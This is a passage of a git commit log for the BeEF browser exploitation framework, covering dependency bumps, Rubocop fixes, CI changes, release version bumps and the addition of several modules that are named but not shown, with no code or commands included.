Signed-off-by: molese <molese@protonmail.com>

* install: double quote `GITACTIONS` variable to prevent word splitting (SC2086)

Signed-off-by: molese <molese@protonmail.com>

* install: replace `! -z` with `-n` (SC2236)

Signed-off-by: molese <molese@protonmail.com>

* update-beef: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>

* scripts/bump-version.sh: format script with `shfmt`

Signed-off-by: molese <molese@protonmail.com>
2022-02-18 19:01:47 +11:00
dependabot[bot]
c7a3d4c032 Bump otr-activerecord from 2.0.4 to 2.1.1 (#2291)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.4 to 2.1.1.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.4...v2.1.1)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 15:21:51 +10:00
dependabot[bot]
1c4ffa33d3 Bump rubocop from 1.25.0 to 1.25.1 (#2293)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.25.0 to 1.25.1.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.25.0...v1.25.1)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 11:18:53 +10:00
dependabot[bot]
908b6a7a0c Bump rspec from 3.10.0 to 3.11.0 (#2294)
Bumps [rspec](https://github.com/rspec/rspec-metagem) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/rspec/rspec-metagem/releases)
- [Commits](https://github.com/rspec/rspec-metagem/compare/v3.10.0...v3.11.0)

---
updated-dependencies:
- dependency-name: rspec
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-02-16 10:11:19 +10:00
jcrew99
14d7975c7a Merge pull request #2290 from beefproject/removed_comment
Code Quality #2288 Removed a comment
2022-01-26 19:31:30 +10:00
jcrew99
f9f2121219 Code Quality #2288 Removed a comment 2022-01-26 19:05:00 +10:00
bcoles
e22d262bbf Core: Move web server imitation templates into Router class (#2289) 2022-01-26 13:41:18 +11:00
dependabot[bot]
ae9976b050 Bump websocket-client-simple from 0.3.0 to 0.5.1 (#2263)
Bumps [websocket-client-simple](https://github.com/ruby-jp/websocket-client-simple) from 0.3.0 to 0.5.1.
- [Release notes](https://github.com/ruby-jp/websocket-client-simple/releases)
- [Changelog](https://github.com/ruby-jp/websocket-client-simple/blob/master/History.txt)
- [Commits](https://github.com/ruby-jp/websocket-client-simple/compare/v0.3.0...v0.5.1)

---
updated-dependencies:
- dependency-name: websocket-client-simple
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-25 11:28:41 +10:00
bcoles
124c9d60b3 Core: Resolve many Rubocop violations (#2282) 2022-01-24 16:25:39 +11:00
dependabot[bot]
9f7e1ecfc1 Bump otr-activerecord from 2.0.3 to 2.0.4 (#2271)
Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.3 to 2.0.4.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.3...v2.0.4)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-24 14:21:20 +10:00
bcoles
b68fcecd46 Bump Ruby version from 2.7.2 to 2.7.4 (#2281) 2022-01-24 00:41:56 +11:00
jcrew99
29e025bbfc spec: Fix some rubocop violations (#2011) 2022-01-23 23:49:44 +11:00
bcoles
01c3413687 Modules: Resolve many Rubocop violations (#2280)
Modules: Resolve many Rubocop violations
2022-01-23 00:01:44 +11:00
Brendan Coles
a64480dfab Modules: Resolve many Rubocop violations 2022-01-22 12:46:42 +00:00
bcoles
bbe805f017 Extensions: Resolve many Rubocop violations (#2279)
Extensions: Resolve many Rubocop violations
2022-01-22 22:37:50 +11:00
Brendan Coles
aa7a6f9e64 Extensions: Resolve many Rubocop violations 2022-01-22 11:16:12 +00:00
bcoles
43af6391f0 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation (#2278)
Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation
2022-01-22 19:04:52 +11:00
Brendan Coles
5f143a8e41 Rubocop: Disable Metrics/ModuleLength, Naming/ClassAndModuleCamelCase, Style/Documentation 2022-01-22 08:03:53 +00:00
bcoles
bbe4fda350 Bump minimum required Ruby version from 2.5 to 2.7 (#2277)
Bump minimum required Ruby version from 2.5 to 2.7
2022-01-22 18:30:22 +11:00
Brendan Coles
afec9fbaa2 Bump minimum required Ruby version from 2.5 to 2.7 2022-01-22 07:09:51 +00:00
bcoles
20f9f2e530 Modules: Rename browser/webcam to browser/webcam_flash (#2276)
Modules: Rename browser/webcam to browser/webcam_flash
2022-01-22 18:00:49 +11:00
Brendan Coles
060a3bfae2 Modules: Rename browser/webcam to browser/webcam_flash 2022-01-22 06:58:18 +00:00
bcoles
e75f5a87c2 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops (#2275)
Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops
2022-01-22 17:39:05 +11:00
Brendan Coles
d9cc5cb364 Rubocop: Update TargetRubyVersion to 2.7 and enable all NewCops 2022-01-22 06:37:13 +00:00
bcoles
dd82546998 core/api: Fix typo for undefined variable 'method' (#2273)
core/api: Fix typo for undefined variable 'method'
2022-01-22 16:56:58 +11:00
Brendan Coles
7c4a90c51a core/api: Fix typo for undefined variable 'method' 2022-01-22 05:55:39 +00:00
bcoles
fb622e8c4c Metasploit BeEF Bind: Update installation instructions for Metasploit v6 (#2272)
Metasploit BeEF Bind: Update installation instructions for Metasploit v6
2022-01-22 16:37:13 +11:00
Brendan Coles
d0e2894137 Metasploit BeEF Bind: Rename instructions.txt -> README.md 2022-01-22 05:30:33 +00:00
Brendan Coles
448c3e864b Metasploit BeEF Bind: Update installation instructions for Metasploit v6 2022-01-22 05:29:56 +00:00
bcoles
9770e09d96 Update Metasploit BeEF Bind payloads for Metasploit v6 (#2226)
Fix modules for Metasploit v6.1.10-dev
2022-01-22 16:10:07 +11:00
dependabot[bot]
8294784268 Bump rubocop from 1.24.0 to 1.25.0 (#2270)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.24.0 to 1.25.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.24.0...v1.25.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:59:35 +10:00
dependabot[bot]
fe7627e169 Bump curb from 0.9.11 to 1.0.0 (#2269)
Bumps [curb](https://github.com/taf2/curb) from 0.9.11 to 1.0.0.
- [Release notes](https://github.com/taf2/curb/releases)
- [Changelog](https://github.com/taf2/curb/blob/master/ChangeLog.md)
- [Commits](https://github.com/taf2/curb/commits)

---
updated-dependencies:
- dependency-name: curb
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2022-01-21 10:29:27 +10:00
bcoles
0d084f00c6 GeoIP: update geoip to use new Maxmind GeoIP database (#2268)
Nice
2022-01-17 09:29:41 +10:00
wheatley
5f4610a4cb Update github_actions.yml 2022-01-13 06:53:36 +10:00
wheatley
35e1f36f44 Update github_actions.yml 2022-01-13 06:53:19 +10:00
bcoles
c2a2ce4a4c Merge pull request #2264 from bcoles/qemu_monitor_migrate_cmd_exec
Modules: Add QEMU Monitor 'migrate' Command Execution module (#2264)
2022-01-07 13:19:31 +11:00
Brendan Coles
77a30ae720 Add QEMU Monitor 'migrate' Command Execution module 2022-01-06 03:05:43 +00:00
dependabot[bot]
3ed9e7ab2f Bump espeak-ruby from 1.0.4 to 1.0.5 (#2238)
Bumps [espeak-ruby](https://github.com/dejan/espeak-ruby) from 1.0.4 to 1.0.5.
- [Release notes](https://github.com/dejan/espeak-ruby/releases)
- [Changelog](https://github.com/dejan/espeak-ruby/blob/master/CHANGELOG)
- [Commits](https://github.com/dejan/espeak-ruby/compare/v1.0.4...v1.0.5)

---
updated-dependencies:
- dependency-name: espeak-ruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-31 10:20:46 +10:00
wheatley
f33e2698a0 MAINTAINABILITY: 2257 update copyright 2022 (#2259)
* 2257 updated copyright date
2021-12-31 09:48:08 +10:00
dependabot[bot]
a606a0bd77 Bump irb from 1.3.7 to 1.4.1 (#2255)
Bumps [irb](https://github.com/ruby/irb) from 1.3.7 to 1.4.1.
- [Release notes](https://github.com/ruby/irb/releases)
- [Commits](https://github.com/ruby/irb/compare/v1.3.7...v1.4.1)

---
updated-dependencies:
- dependency-name: irb
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:46:16 +10:00
dependabot[bot]
e3ec7708e3 Bump em-websocket from 0.5.2 to 0.5.3 (#2229)
Bumps [em-websocket](https://github.com/igrigorik/em-websocket) from 0.5.2 to 0.5.3.
- [Release notes](https://github.com/igrigorik/em-websocket/releases)
- [Changelog](https://github.com/igrigorik/em-websocket/blob/master/CHANGELOG.rdoc)
- [Commits](https://github.com/igrigorik/em-websocket/compare/v0.5.2...v0.5.3)

---
updated-dependencies:
- dependency-name: em-websocket
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:24:39 +10:00
dependabot[bot]
fe7a07d6c5 Bump rubocop from 1.22.3 to 1.24.0 (#2252)
Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.22.3 to 1.24.0.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.22.3...v1.24.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:22:25 +10:00
dependabot[bot]
260c3fc52a Bump rdoc from 6.3.2 to 6.4.0 (#2254)
Bumps [rdoc](https://github.com/ruby/rdoc) from 6.3.2 to 6.4.0.
- [Release notes](https://github.com/ruby/rdoc/releases)
- [Changelog](https://github.com/ruby/rdoc/blob/master/History.rdoc)
- [Commits](https://github.com/ruby/rdoc/compare/v6.3.2...v6.4.0)

---
updated-dependencies:
- dependency-name: rdoc
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:20:01 +10:00
dependabot[bot]
e0d208e508 Bump mime-types from 3.3.1 to 3.4.1 (#2232)
Bumps [mime-types](https://github.com/mime-types/ruby-mime-types) from 3.3.1 to 3.4.1.
- [Release notes](https://github.com/mime-types/ruby-mime-types/releases)
- [Changelog](https://github.com/mime-types/ruby-mime-types/blob/main/History.md)
- [Commits](https://github.com/mime-types/ruby-mime-types/compare/v3.3.1...v3.4.1)

---
updated-dependencies:
- dependency-name: mime-types
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:19:46 +10:00
dependabot[bot]
9e882cd9d5 Bump test-unit from 3.5.1 to 3.5.3 (#2248)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.1 to 3.5.3.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.1...3.5.3)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-12-29 22:12:41 +10:00
Isaac Powell
d96af71220 additional grep command to correctly identify arch (#2251) 2021-12-29 21:59:30 +10:00
Isaac Powell
2f08343015 removed gcc9 and libgcc 9 from install (#2250) 2021-12-29 21:59:09 +10:00
wheatley
113e6214f2 Removing accidental creation of workflow 2021-12-22 16:16:30 +10:00
wheatley
21fd7ca0c5 Create codacy-analysis.yml 2021-12-22 16:14:57 +10:00
wheatley
0b41775618 added script to bump versions for release (#2239)
So cool
2021-12-03 11:04:18 +11:00
Isaac Powell
9181c83a87 catch for nil (#2237) 2021-11-26 16:20:48 +11:00
Isaac Powell
66257f1cf3 Release/0.5.4.0 (#2234)
* version up to 0.5.4.0
2021-11-26 12:00:58 +11:00
Wanetty
b42aebd99f Fix files to msf6 2021-11-10 04:34:50 -05:00
Wanetty
77c9991a35 Fix files to msf6 2021-11-10 04:31:10 -05:00
wheatley
c6bb893c32 Travis cleanup (#2224)
Removed old travis-cli files as the project is now using gitHub-actions
2021-11-10 08:06:22 +10:00
dependabot[bot]
6f6124e40f Bump json from 2.5.1 to 2.6.1 (#2208)
* Bump json from 2.5.1 to 2.6.1

Bumps [json](https://github.com/flori/json) from 2.5.1 to 2.6.1.
- [Release notes](https://github.com/flori/json/releases)
- [Changelog](https://github.com/flori/json/blob/master/CHANGES.md)
- [Commits](https://github.com/flori/json/compare/v2.5.1...v2.6.1)

---
updated-dependencies:
- dependency-name: json
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 17:23:10 +11:00
bcoles
d7a3ffb2c3 Merge pull request #2205 from bcoles/apache_tomcat_examples_cookie_disclosure
Modules: Add apache_tomcat_examples_cookie_disclosure module (#2205)
2021-11-09 16:38:15 +11:00
Brendan Coles
c8595b09b7 Modules: Add apache_tomcat_examples_cookie_disclosure module 2021-11-09 05:36:33 +00:00
dependabot[bot]
e9b113226d Bump otr-activerecord from 2.0.1 to 2.0.3 (#2209)
* Bump otr-activerecord from 2.0.1 to 2.0.3

Bumps [otr-activerecord](https://github.com/jhollinger/otr-activerecord) from 2.0.1 to 2.0.3.
- [Release notes](https://github.com/jhollinger/otr-activerecord/releases)
- [Changelog](https://github.com/jhollinger/otr-activerecord/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jhollinger/otr-activerecord/compare/v2.0.1...v2.0.3)

---
updated-dependencies:
- dependency-name: otr-activerecord
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:25:58 +11:00
dependabot[bot]
be9b7655fe Bump capybara from 3.35.3 to 3.36.0 (#2210)
* Bump capybara from 3.35.3 to 3.36.0

Bumps [capybara](https://github.com/teamcapybara/capybara) from 3.35.3 to 3.36.0.
- [Release notes](https://github.com/teamcapybara/capybara/releases)
- [Changelog](https://github.com/teamcapybara/capybara/blob/master/History.md)
- [Commits](https://github.com/teamcapybara/capybara/compare/3.35.3...3.36.0)

---
updated-dependencies:
- dependency-name: capybara
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 16:23:05 +11:00
dependabot[bot]
a6fcb1a14f Bump rubocop from 1.20.0 to 1.22.3 (#2213)
* Bump rubocop from 1.20.0 to 1.22.3

Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.20.0 to 1.22.3.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v1.20.0...v1.22.3)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:22:15 +11:00
dependabot[bot]
784e6db9ce Bump test-unit from 3.5.0 to 3.5.1 (#2223)
Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.5.0 to 3.5.1.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.5.0...3.5.1)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-11-09 16:13:40 +11:00
Isaac Powell
0d0e51452c Enhancement - Check for update on launch (#2199) 2021-11-09 14:40:51 +10:00
dependabot[bot]
08faef394b Bump test-unit from 3.4.6 to 3.5.0 (#2198)
* Bump test-unit from 3.4.6 to 3.5.0

Bumps [test-unit](https://github.com/test-unit/test-unit) from 3.4.6 to 3.5.0.
- [Release notes](https://github.com/test-unit/test-unit/releases)
- [Commits](https://github.com/test-unit/test-unit/compare/3.4.6...3.5.0)

---
updated-dependencies:
- dependency-name: test-unit
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:07:16 +10:00
dependabot[bot]
1aa86bd64a Bump nokogiri from 1.12.4 to 1.12.5 (#2197)
* Bump nokogiri from 1.12.4 to 1.12.5

Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.4 to 1.12.5.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.4...v1.12.5)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

* removing explicit dependancy of nokogiri as it is only required as a dependancy

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:05:15 +10:00
dependabot[bot]
b7108bc069 Bump async-dns from 1.2.6 to 1.3.0 (#2194)
* Bump async-dns from 1.2.6 to 1.3.0

Bumps [async-dns](https://github.com/socketry/async-dns) from 1.2.6 to 1.3.0.
- [Release notes](https://github.com/socketry/async-dns/releases)
- [Commits](https://github.com/socketry/async-dns/compare/v1.2.6...v1.3.0)

---
updated-dependencies:
- dependency-name: async-dns
  dependency-type: direct:development
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:04:44 +10:00
dependabot[bot]
a674c9d25f Bump parseconfig from 1.1.0 to 1.1.2 (#2193)
* Bump parseconfig from 1.1.0 to 1.1.2

Bumps [parseconfig](https://github.com/datafolklabs/ruby-parseconfig) from 1.1.0 to 1.1.2.
- [Release notes](https://github.com/datafolklabs/ruby-parseconfig/releases)
- [Changelog](https://github.com/datafolklabs/ruby-parseconfig/blob/master/Changelog)
- [Commits](https://github.com/datafolklabs/ruby-parseconfig/commits)

---
updated-dependencies:
- dependency-name: parseconfig
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

* testing approval process

* Update github_actions.yml

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: wheatley <wheatand@gmail.com>
2021-11-09 09:03:36 +10:00
wheatley
99c6287a67 MAINTAINABILITY: Added approval before code execution. (#2218) 2021-11-08 09:32:12 +10:00
Isaac Powell
2794bc3cf4 INSTALL: Fixed GITACTIONS check for null (#2214) 2021-10-28 15:35:10 +10:00
Isaac Powell
541933a45f deleted github actions .yaml used for testing 2021-10-28 12:24:43 +11:00
Isaac Powell
9cef23be22 Update github_actions.yml
Changed the actions to run on master branch when pull request is triggered
2021-10-22 12:05:01 +11:00
Isaac Powell
7c3e342981 Feature/ci (#2190)
squash and merge
2021-10-15 14:22:56 +11:00
Isaac Powell
3b34e428cc version up (#2188) 2021-10-15 13:56:58 +11:00
Isaac Powell
ea65554a50 Rubocop api.rb fix (#2175) 2021-10-15 10:36:54 +10:00
wheatley
dc68ed9390 Added testing installation on ubuntu 2021-10-14 16:20:50 +10:00
Isaac Powell
1ae320c3bc Hotfix api.rb (#2173)
* testing api

* formatting
2021-09-24 11:36:16 +10:00
wheatley
43e3fa5432 Release: 0.5.3.0 (#2169)
* Fix #1851 - Command/request(s) sent to zombie 'undefined' bug (#1963)

* Provided correct context in locationHashChanged() to have data necessary for the nested function calls to act as intended.

* rubocop cleanup (#2170)

* version up (#2172)

Co-authored-by: Jack Walker <46417690+jackdwalker@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-09-24 11:06:47 +10:00
wheatley
694df4c17b Updated config.yaml to remove "" form public 2021-09-12 22:15:41 +10:00
wheatley
b0e59d2c55 Release 0.5.2.0 (#2167)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:57:18 +10:00
wheatley
b6425e4a90 Release 0.5.2.0 (#2166)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:33:02 +10:00
wheatley
